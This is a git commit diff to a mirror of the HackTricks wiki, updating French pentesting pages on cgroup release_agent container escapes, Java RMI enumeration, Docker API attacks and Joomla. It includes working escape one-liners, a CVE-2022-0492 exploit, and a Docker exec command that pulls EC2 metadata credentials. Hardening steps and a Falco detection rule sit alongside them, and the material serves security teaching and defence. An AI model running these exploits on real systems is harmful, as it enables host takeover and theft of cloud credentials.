mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
eaab0b787f
commit
c84d5a969e
@ -51,11 +51,11 @@ Cette approche évite les téléchargements de fichiers directs et utilise des
|
||||
- Utilisez des liens d'invitation permanents contenant au moins une lettre majuscule ou un caractère non alphanumérique (jamais expirés, non réutilisables).
|
||||
- Faites régulièrement tourner les codes d'invitation et révoquez les anciens liens.
|
||||
- Surveillez l'état de boost du serveur Discord et les revendications d'URL personnalisées.
|
||||
- Éduquez les utilisateurs à vérifier l'authenticité du serveur et à éviter d'exécuter des commandes copiées dans le presse-papiers.
|
||||
- Éduquez les utilisateurs à vérifier l'authenticité du serveur et à éviter d'exécuter des commandes collées depuis le presse-papiers.
|
||||
|
||||
## Références
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Pour plus de détails, référez-vous au** [**post de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci n'est qu'un résumé :
|
||||
**Pour plus de détails, référez-vous au** [**post de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci est juste un résumé :
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## PoC classique (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
La preuve de concept (PoC) démontre une méthode pour exploiter les cgroups en créant un fichier `release_agent` et en déclenchant son invocation pour exécuter des commandes arbitraires sur l'hôte du conteneur. Voici un aperçu des étapes impliquées :
|
||||
Le PoC abuse de la fonctionnalité **cgroup-v1** `release_agent` : lorsque la dernière tâche d'un cgroup ayant `notify_on_release=1` se termine, le noyau (dans les **espaces de noms initiaux sur l'hôte**) exécute le programme dont le chemin est stocké dans le fichier writable `release_agent`. Étant donné que cette exécution se fait avec **des privilèges root complets sur l'hôte**, obtenir un accès en écriture au fichier suffit pour une évasion de conteneur.
|
||||
|
||||
### Bref aperçu lisible
|
||||
|
||||
1. **Préparer un nouveau cgroup**
|
||||
|
||||
1. **Préparer l'environnement :**
|
||||
- Un répertoire `/tmp/cgrp` est créé pour servir de point de montage pour le cgroup.
|
||||
- Le contrôleur de cgroup RDMA est monté sur ce répertoire. En cas d'absence du contrôleur RDMA, il est suggéré d'utiliser le contrôleur de cgroup `memory` comme alternative.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Configurer le cgroup enfant :**
|
||||
- Un cgroup enfant nommé "x" est créé dans le répertoire cgroup monté.
|
||||
- Les notifications sont activées pour le cgroup "x" en écrivant 1 dans son fichier notify_on_release.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # ou –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Configurer le Release Agent :**
|
||||
- Le chemin du conteneur sur l'hôte est obtenu à partir du fichier /etc/mtab.
|
||||
- Le fichier release_agent du cgroup est ensuite configuré pour exécuter un script nommé /cmd situé au chemin de l'hôte acquis.
|
||||
|
||||
2. **Pointer `release_agent` vers un script contrôlé par l'attaquant sur l'hôte**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Créer et configurer le script /cmd :**
|
||||
- Le script /cmd est créé à l'intérieur du conteneur et est configuré pour exécuter ps aux, redirigeant la sortie vers un fichier nommé /output dans le conteneur. Le chemin complet de /output sur l'hôte est spécifié.
|
||||
|
||||
3. **Déposer le payload**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **Déclencher l'attaque :**
|
||||
- Un processus est initié dans le cgroup enfant "x" et est immédiatement terminé.
|
||||
- Cela déclenche le `release_agent` (le script /cmd), qui exécute ps aux sur l'hôte et écrit la sortie dans /output à l'intérieur du conteneur.
|
||||
|
||||
4. **Déclencher le notifier**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # s'ajouter et sortir immédiatement
|
||||
cat /output # contient maintenant les processus de l'hôte
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Vulnérabilité du noyau 2022 – CVE-2022-0492
|
||||
|
||||
En février 2022, Yiqi Sun et Kevin Wang ont découvert que **le noyau ne vérifiait *pas* les capacités lorsqu'un processus écrivait dans `release_agent` dans cgroup-v1** (fonction `cgroup_release_agent_write`).
|
||||
|
||||
Effectivement, **tout processus capable de monter une hiérarchie cgroup (par exemple via `unshare -UrC`) pouvait écrire un chemin arbitraire dans `release_agent` sans `CAP_SYS_ADMIN` dans l'espace de noms utilisateur *initial***. Sur un conteneur Docker/Kubernetes exécuté en tant que root avec une configuration par défaut, cela permettait :
|
||||
|
||||
* une élévation de privilèges vers root sur l'hôte ; ↗
|
||||
* une évasion de conteneur sans que le conteneur soit privilégié.
|
||||
|
||||
Le défaut a été attribué à **CVE-2022-0492** (CVSS 7.8 / Élevé) et corrigé dans les versions de noyau suivantes (et toutes les versions ultérieures) :
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Commit de patch : `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Exploit minimal à l'intérieur d'un conteneur
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
Si le noyau est vulnérable, le binaire busybox du *hôte* s'exécute avec un accès root complet.
|
||||
|
||||
### Durcissement & Atténuations
|
||||
|
||||
* **Mettre à jour le noyau** (≥ versions supérieures). Le correctif nécessite maintenant `CAP_SYS_ADMIN` dans le *namespace* utilisateur *initial* pour écrire dans `release_agent`.
|
||||
* **Préférer cgroup-v2** – la hiérarchie unifiée **a complètement supprimé la fonctionnalité `release_agent`**, éliminant cette classe d'évasions.
|
||||
* **Désactiver les namespaces utilisateurs non privilégiés** sur les hôtes qui n'en ont pas besoin :
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Contrôle d'accès obligatoire** : Les politiques AppArmor/SELinux qui interdisent `mount`, `openat` sur `/sys/fs/cgroup/**/release_agent`, ou qui suppriment `CAP_SYS_ADMIN`, arrêtent la technique même sur des noyaux vulnérables.
|
||||
* **Masque de liaison en lecture seule** pour tous les fichiers `release_agent` (exemple de script Palo Alto) :
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Détection à l'exécution
|
||||
|
||||
[`Falco`](https://falco.org/) expédie une règle intégrée depuis la v0.32 :
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
La règle se déclenche lors de toute tentative d'écriture sur `*/release_agent` depuis un processus à l'intérieur d'un conteneur qui détient encore `CAP_SYS_ADMIN`.
|
||||
|
||||
## Références
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – analyse détaillée et script d'atténuation.
|
||||
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -59,11 +59,11 @@ Avec le _Activation System_ obsolète, ce sont les trois composants par défaut
|
||||
2. Le _Activation System_ (`ObjID = 1`)
|
||||
3. Le _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
Les composants par défaut de _Java RMI_ sont connus comme des vecteurs d'attaque depuis un certain temps et plusieurs vulnérabilités existent dans les versions obsolètes de _Java_. Du point de vue d'un attaquant, ces composants par défaut sont intéressants, car ils implémentent des classes / interfaces connues et il est facilement possible d'interagir avec eux. Cette situation est différente pour les _RMI services_ personnalisés. Pour appeler une méthode sur un objet _remote_, vous devez connaître la signature de méthode correspondante à l'avance. Sans connaître une signature de méthode existante, il n'y a aucun moyen de communiquer avec un _RMI service_.
|
||||
Les composants par défaut de _Java RMI_ sont connus pour être des vecteurs d'attaque depuis un certain temps et plusieurs vulnérabilités existent dans les versions obsolètes de _Java_. Du point de vue d'un attaquant, ces composants par défaut sont intéressants, car ils implémentent des classes / interfaces connues et il est facilement possible d'interagir avec eux. Cette situation est différente pour les _RMI services_ personnalisés. Pour appeler une méthode sur un objet _remote_, vous devez connaître la signature de méthode correspondante à l'avance. Sans connaître une signature de méthode existante, il n'y a aucun moyen de communiquer avec un _RMI service_.
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) est un scanner de vulnérabilités _Java RMI_ capable d'identifier automatiquement les vulnérabilités _RMI_ courantes. Chaque fois que vous identifiez un _RMI endpoint_, vous devriez essayer :
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) est un scanner de vulnérabilités _Java RMI_ capable d'identifier automatiquement les vulnérabilités _RMI_ courantes. Chaque fois que vous identifiez un _RMI_ endpoint, vous devriez essayer :
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -140,7 +140,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
|
||||
Même lorsque aucune vulnérabilité n'a été identifiée lors de l'énumération, les services _RMI_ disponibles pourraient toujours exposer des fonctions dangereuses. De plus, bien que la communication _RMI_ avec les composants par défaut _RMI_ soit protégée par des filtres de désérialisation, lorsqu'il s'agit de services _RMI_ personnalisés, de tels filtres ne sont généralement pas en place. Connaître les signatures de méthode valides sur les services _RMI_ est donc précieux.
|
||||
|
||||
Malheureusement, _Java RMI_ ne prend pas en charge l'énumération des méthodes sur les _objets distants_. Cela dit, il est possible de bruteforcer les signatures de méthode avec des outils comme [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ou [rmiscout](https://github.com/BishopFox/rmiscout) :
|
||||
Malheureusement, _Java RMI_ ne prend pas en charge l'énumération des méthodes sur les _objets distants_. Cela dit, il est possible de bruteforcer les signatures de méthode avec des outils comme [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ou [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -205,7 +205,7 @@ Plus d'informations peuvent être trouvées dans ces articles :
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
En plus de deviner, vous devriez également chercher dans les moteurs de recherche ou _GitHub_ l'interface ou même l'implémentation d'un service _RMI_ rencontré. Le _bound name_ et le nom de la classe ou de l'interface implémentée peuvent être utiles ici.
|
||||
En plus de deviner, vous devriez également chercher dans les moteurs de recherche ou _GitHub_ pour l'interface ou même l'implémentation d'un service _RMI_ rencontré. Le _bound name_ et le nom de la classe ou de l'interface implémentée peuvent être utiles ici.
|
||||
|
||||
## Interfaces Connues
|
||||
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
|
||||
@ -6,15 +6,15 @@
|
||||
|
||||
#### Qu'est-ce que c'est
|
||||
|
||||
Docker est la **plateforme de pointe** dans l'**industrie de la conteneurisation**, à la tête de **l'innovation continue**. Il facilite la création et la distribution sans effort d'applications, allant de **traditionnelles à futuristes**, et assure leur **déploiement sécurisé** à travers divers environnements.
|
||||
Docker est la **plateforme de pointe** dans l'**industrie de la conteneurisation**, à l'avant-garde de **l'innovation continue**. Il facilite la création et la distribution sans effort d'applications, allant de **traditionnelles à futuristes**, et assure leur **déploiement sécurisé** dans divers environnements.
|
||||
|
||||
#### Architecture de base de Docker
|
||||
|
||||
- [**containerd**](http://containerd.io) : C'est un **runtime principal** pour les conteneurs, chargé de la **gestion complète du cycle de vie d'un conteneur**. Cela implique la gestion du **transfert et du stockage d'images**, en plus de superviser l'**exécution, la surveillance et le réseau** des conteneurs. **Des informations plus détaillées** sur containerd sont **explorées plus en profondeur**.
|
||||
- Le **container-shim** joue un rôle critique en tant qu'**intermédiaire** dans la gestion des **conteneurs sans tête**, prenant en charge **runc** après que les conteneurs soient initialisés.
|
||||
- [**runc**](http://runc.io) : Réputé pour ses capacités de **runtime de conteneur léger et universel**, runc est aligné avec la **norme OCI**. Il est utilisé par containerd pour **démarrer et gérer les conteneurs** selon les **directives OCI**, ayant évolué à partir de l'original **libcontainer**.
|
||||
- Le **container-shim** joue un rôle critique en tant qu'**intermédiaire** dans la gestion des **conteneurs sans tête**, prenant en charge de manière transparente **runc** après l'initialisation des conteneurs.
|
||||
- [**runc**](http://runc.io) : Réputé pour ses capacités de **runtime de conteneur léger et universel**, runc est aligné avec la **norme OCI**. Il est utilisé par containerd pour **démarrer et gérer des conteneurs** selon les **directives OCI**, ayant évolué à partir de l'original **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) est essentiel pour **faciliter la communication** entre containerd et le **docker-engine**, assurant une **interaction efficace**.
|
||||
- Le [**OCI**](https://www.opencontainers.org) est essentiel pour maintenir les **spécifications OCI** pour les runtimes et les images, les dernières versions de Docker étant **conformes aux normes d'image et de runtime OCI**.
|
||||
- L'**OCI** [**(Open Container Initiative)**](https://www.opencontainers.org) est essentielle pour maintenir les **spécifications OCI** pour les runtimes et les images, les dernières versions de Docker étant **conformes aux normes OCI pour les images et les runtimes**.
|
||||
|
||||
#### Commandes de base
|
||||
```bash
|
||||
@ -45,7 +45,7 @@ docker system prune -a
|
||||
|
||||
Une décision de conception clé est que **Containerd ne gère pas le réseau**. Le réseau est considéré comme un élément critique dans les systèmes distribués, avec des complexités telles que le Software Defined Networking (SDN) et la découverte de services qui varient considérablement d'une plateforme à l'autre. Par conséquent, Containerd laisse les aspects réseau à gérer par les plateformes qu'il prend en charge.
|
||||
|
||||
Bien que **Docker utilise Containerd** pour exécuter des conteneurs, il est important de noter que Containerd ne prend en charge qu'un sous-ensemble des fonctionnalités de Docker. En particulier, Containerd manque des capacités de gestion du réseau présentes dans Docker et ne prend pas en charge la création de Docker swarms directement. Cette distinction met en évidence le rôle ciblé de Containerd en tant qu'environnement d'exécution de conteneurs, déléguant des fonctionnalités plus spécialisées aux plateformes avec lesquelles il s'intègre.
|
||||
Bien que **Docker utilise Containerd** pour exécuter des conteneurs, il est important de noter que Containerd ne prend en charge qu'un sous-ensemble des fonctionnalités de Docker. Plus précisément, Containerd manque des capacités de gestion du réseau présentes dans Docker et ne prend pas en charge la création de swarms Docker directement. Cette distinction met en évidence le rôle ciblé de Containerd en tant qu'environnement d'exécution de conteneurs, déléguant des fonctionnalités plus spécialisées aux plateformes avec lesquelles il s'intègre.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -63,7 +63,7 @@ ctr container delete <containerName>
|
||||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** est un moteur de conteneurs open-source qui respecte les [normes de l'Open Container Initiative (OCI)](https://github.com/opencontainers), développé et maintenu par Red Hat. Il se distingue de Docker par plusieurs caractéristiques distinctes, notamment son **architecture sans démon** et le support des **conteneurs sans privilèges root**, permettant aux utilisateurs d'exécuter des conteneurs sans privilèges root.
|
||||
**Podman** est un moteur de conteneurs open-source qui respecte les [normes de l'Open Container Initiative (OCI)](https://github.com/opencontainers), développé et maintenu par Red Hat. Il se distingue de Docker par plusieurs caractéristiques distinctes, notamment son **architecture sans démon** et le support des **conteneurs sans privilèges**, permettant aux utilisateurs d'exécuter des conteneurs sans privilèges root.
|
||||
|
||||
Podman est conçu pour être compatible avec l'API de Docker, permettant l'utilisation des commandes CLI de Docker. Cette compatibilité s'étend à son écosystème, qui comprend des outils comme **Buildah** pour la création d'images de conteneurs et **Skopeo** pour des opérations sur les images telles que push, pull et inspect. Plus de détails sur ces outils peuvent être trouvés sur leur [page GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
@ -71,11 +71,11 @@ Podman est conçu pour être compatible avec l'API de Docker, permettant l'utili
|
||||
|
||||
- **Architecture** : Contrairement au modèle client-serveur de Docker avec un démon en arrière-plan, Podman fonctionne sans démon. Ce design signifie que les conteneurs s'exécutent avec les privilèges de l'utilisateur qui les démarre, améliorant la sécurité en éliminant le besoin d'accès root.
|
||||
- **Intégration avec Systemd** : Podman s'intègre avec **systemd** pour gérer les conteneurs, permettant la gestion des conteneurs via des unités systemd. Cela contraste avec l'utilisation de systemd par Docker principalement pour gérer le processus du démon Docker.
|
||||
- **Conteneurs sans Privilèges Root** : Une caractéristique essentielle de Podman est sa capacité à exécuter des conteneurs sous les privilèges de l'utilisateur initiateur. Cette approche minimise les risques associés aux violations de conteneurs en garantissant que les attaquants n'obtiennent que les privilèges de l'utilisateur compromis, et non l'accès root.
|
||||
- **Conteneurs sans Privilèges** : Une caractéristique essentielle de Podman est sa capacité à exécuter des conteneurs sous les privilèges de l'utilisateur initiateur. Cette approche minimise les risques associés aux violations de conteneurs en garantissant que les attaquants n'obtiennent que les privilèges de l'utilisateur compromis, et non l'accès root.
|
||||
|
||||
L'approche de Podman offre une alternative sécurisée et flexible à Docker, mettant l'accent sur la gestion des privilèges des utilisateurs et la compatibilité avec les flux de travail Docker existants.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Notez qu'étant donné que podman vise à supporter la même API que docker, vous pouvez utiliser les mêmes commandes avec podman qu'avec docker telles que :
|
||||
>
|
||||
> ```bash
|
||||
@ -136,7 +136,7 @@ GitCommit: fec3683
|
||||
```
|
||||
Si vous pouvez **contacter l'API docker distante avec la commande `docker`**, vous pouvez **exécuter** n'importe quelle des **commandes docker** [**précédemment** commentées](2375-pentesting-docker.md#basic-commands) pour interagir avec le service.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Vous pouvez `export DOCKER_HOST="tcp://localhost:2375"` et **éviter** d'utiliser le paramètre `-H` avec la commande docker
|
||||
|
||||
**Escalade de privilèges rapide**
|
||||
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
||||
#List processes inside a container
|
||||
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
||||
#Set up and exec job to hit the metadata URL
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
|
||||
#Get the output
|
||||
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
||||
# list secrets (no secrets/swarm not set up)
|
||||
@ -201,7 +201,7 @@ cat /mnt/etc/shadow
|
||||
|
||||
Si vous êtes à l'intérieur d'un hôte utilisant docker, vous pouvez [**lire ces informations pour essayer d'élever les privilèges**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
|
||||
|
||||
### Découverte de secrets dans les conteneurs Docker en cours d'exécution
|
||||
### Découverte de secrets dans des conteneurs Docker en cours d'exécution
|
||||
```bash
|
||||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
- `./docker-bench-security.sh`
|
||||
- Vous pouvez utiliser l'outil [https://github.com/kost/dockscan](https://github.com/kost/dockscan) pour inspecter votre installation actuelle de docker.
|
||||
- `dockscan -v unix:///var/run/docker.sock`
|
||||
- Vous pouvez utiliser l'outil [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) pour connaître les privilèges qu'un conteneur aura lorsqu'il est exécuté avec différentes options de sécurité. Cela est utile pour connaître les implications de l'utilisation de certaines options de sécurité pour exécuter un conteneur :
|
||||
- Vous pouvez utiliser l'outil [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) pour vérifier les privilèges qu'un conteneur aura lorsqu'il est exécuté avec différentes options de sécurité. Cela est utile pour connaître les implications de l'utilisation de certaines options de sécurité pour exécuter un conteneur :
|
||||
- `docker run --rm -it r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
@ -239,7 +239,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
|
||||
#### Sécuriser les Dockerfiles
|
||||
|
||||
- Vous pouvez utiliser l'outil [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) pour **inspecter votre Dockerfile** et trouver toutes sortes de mauvaises configurations. Chaque mauvaise configuration se verra attribuer un ID, vous pouvez trouver ici [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) comment corriger chacune d'elles.
|
||||
- Vous pouvez utiliser l'outil [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) pour **inspecter votre Dockerfile** et trouver toutes sortes de mauvaises configurations. Chaque mauvaise configuration se verra attribuer un ID, vous pouvez trouver ici [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) comment les corriger.
|
||||
- `dockerfilelinter -f Dockerfile`
|
||||
|
||||
.png>)
|
||||
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
#### Journaliser les activités suspectes
|
||||
|
||||
- Vous pouvez utiliser l'outil [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) pour détecter **un comportement suspect dans les conteneurs en cours d'exécution**.
|
||||
- Notez dans le segment suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, 1 d'entre eux avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
||||
- Notez dans le morceau suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, 1 d'entre eux avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
### Statistiques Joomla
|
||||
|
||||
Joomla collecte des [statistiques d'utilisation](https://developer.joomla.org/about/stats.html) anonymes telles que la répartition des versions de Joomla, PHP et des systèmes de gestion de bases de données ainsi que des systèmes d'exploitation de serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur [API](https://developer.joomla.org/about/stats/api.html) publique.
|
||||
Joomla collecte des [statistiques d'utilisation](https://developer.joomla.org/about/stats.html) anonymes telles que la répartition des versions de Joomla, PHP et des systèmes d'exploitation de base de données utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur [API](https://developer.joomla.org/about/stats/api.html) publique.
|
||||
```bash
|
||||
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
||||
|
||||
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
|
||||
1- What is this?
|
||||
* This is a Joomla! installation/upgrade package to version 3.x
|
||||
* Joomla! Official site: https://www.joomla.org
|
||||
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
||||
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
||||
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
